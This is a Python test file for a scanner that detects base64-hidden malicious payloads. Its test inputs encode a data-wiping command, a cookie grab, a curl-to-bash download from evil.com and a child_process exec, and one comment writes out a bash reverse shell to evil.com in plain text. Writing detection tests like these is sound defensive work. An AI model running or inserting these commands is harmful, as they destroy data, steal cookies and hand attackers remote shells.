"""Tests for base64 payload detection."""
import pytest
import sys
from pathlib import Path

# Add parent directory to allow relative imports in non-package mode
parent_dir = Path(__file__).parent.parent
sys.path.insert(0, str(parent_dir.parent))

from isnad_scan.base64_detector import (
    detect_base64_payloads,
    try_decode_base64,
    is_valid_base64,
    scan_decoded_content,
)
from isnad_scan.patterns import Severity


class TestBase64Validation:
    """Test base64 validation functions."""
    
    def test_valid_base64(self):
        assert is_valid_base64("SGVsbG8gV29ybGQh") == True
        assert is_valid_base64("YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXo=") == True
    
    def test_invalid_base64(self):
        assert is_valid_base64("short") == False
        assert is_valid_base64("not-valid-base64!!!") == False
        assert is_valid_base64("") == False
    
    def test_decode_base64(self):
        assert try_decode_base64("SGVsbG8gV29ybGQh") == "Hello World!"
        assert try_decode_base64("ZXZhbChldmlsKQ==") == "eval(evil)"


class TestBase64Detection:
    """Test detection of base64 payloads."""
    
    def test_js_atob_detection(self):
        code = '''
        const payload = atob("ZXZhbChkb2N1bWVudC5jb29raWUp");
        eval(payload);
        '''
        findings = detect_base64_payloads(code, "test.js")
        assert len(findings) > 0
        assert any("decoded_code_execution" in f.pattern_id for f in findings)
    
    def test_python_b64decode(self):
        code = '''
        import base64
        payload = base64.b64decode("b3Muc3lzdGVtKCdybSAtcmYgLycpCg==")
        exec(payload)
        '''
        findings = detect_base64_payloads(code, "test.py")
        assert len(findings) > 0
        assert any("decoded" in f.pattern_id for f in findings)
    
    def test_node_buffer_from(self):
        code = '''
        const cmd = Buffer.from("cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2xzJyk=", "base64");
        '''
        findings = detect_base64_payloads(code, "test.js")
        assert len(findings) > 0
        assert any("child_process" in f.context or "decoded_dangerous_import" in f.pattern_id for f in findings)
    
    def test_shell_base64_decode(self):
        code = '''
        echo "Y3VybCBodHRwOi8vZXZpbC5jb20vc2hlbGwuc2ggfCBiYXNo" | base64 -d | sh
        '''
        findings = detect_base64_payloads(code, "setup.sh")
        assert len(findings) > 0
        assert any("shell_command" in f.pattern_id or "url" in f.pattern_id for f in findings)
    
    def test_hidden_url_in_base64(self):
        code = '''
        const url = atob("aHR0cHM6Ly9ldmlsLmNvbS9zdGVhbC5qcw==");
        fetch(url);
        '''
        findings = detect_base64_payloads(code, "test.js")
        assert len(findings) > 0
        # Should find the decoded URL
        assert any("url" in f.pattern_id.lower() for f in findings)
    
    def test_benign_base64_no_alert(self):
        # Base64 that decodes to harmless content
        code = '''
        const logo = "SGVsbG8gV29ybGQgdGhpcyBpcyBqdXN0IGEgdGVzdCBzdHJpbmc=";
        '''
        findings = detect_base64_payloads(code, "test.js")
        # Should be INFO or no findings for harmless decoded content
        danger_findings = [f for f in findings if f.severity == Severity.DANGER]
        assert len(danger_findings) == 0
    
    def test_reverse_shell_in_base64(self):
        # bash -i >& /dev/tcp/evil.com/8080 0>&1
        code = '''
        cmd = base64.b64decode("YmFzaCAtaSA+JiAvZGV2L3RjcC9ldmlsLmNvbS84MDgwIDA+JjE=")
        '''
        findings = detect_base64_payloads(code, "test.py")
        assert len(findings) > 0
        assert any("reverse_shell" in f.pattern_id or "shell" in f.pattern_id.lower() for f in findings)


class TestStandaloneBase64:
    """Test detection of suspicious standalone base64 strings."""
    
    def test_standalone_dangerous_base64(self):
        # Longer payload: require('child_process').exec('whoami')
        code = '''
        const data = "cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3dob2FtaScpOw==";
        '''
        findings = detect_base64_payloads(code, "test.js")
        # Should detect even without explicit decode call
        dangerous = [f for f in findings if f.severity in (Severity.DANGER, Severity.WARN)]
        assert len(dangerous) > 0


if __name__ == "__main__":
    pytest.main([__file__, "-v"])
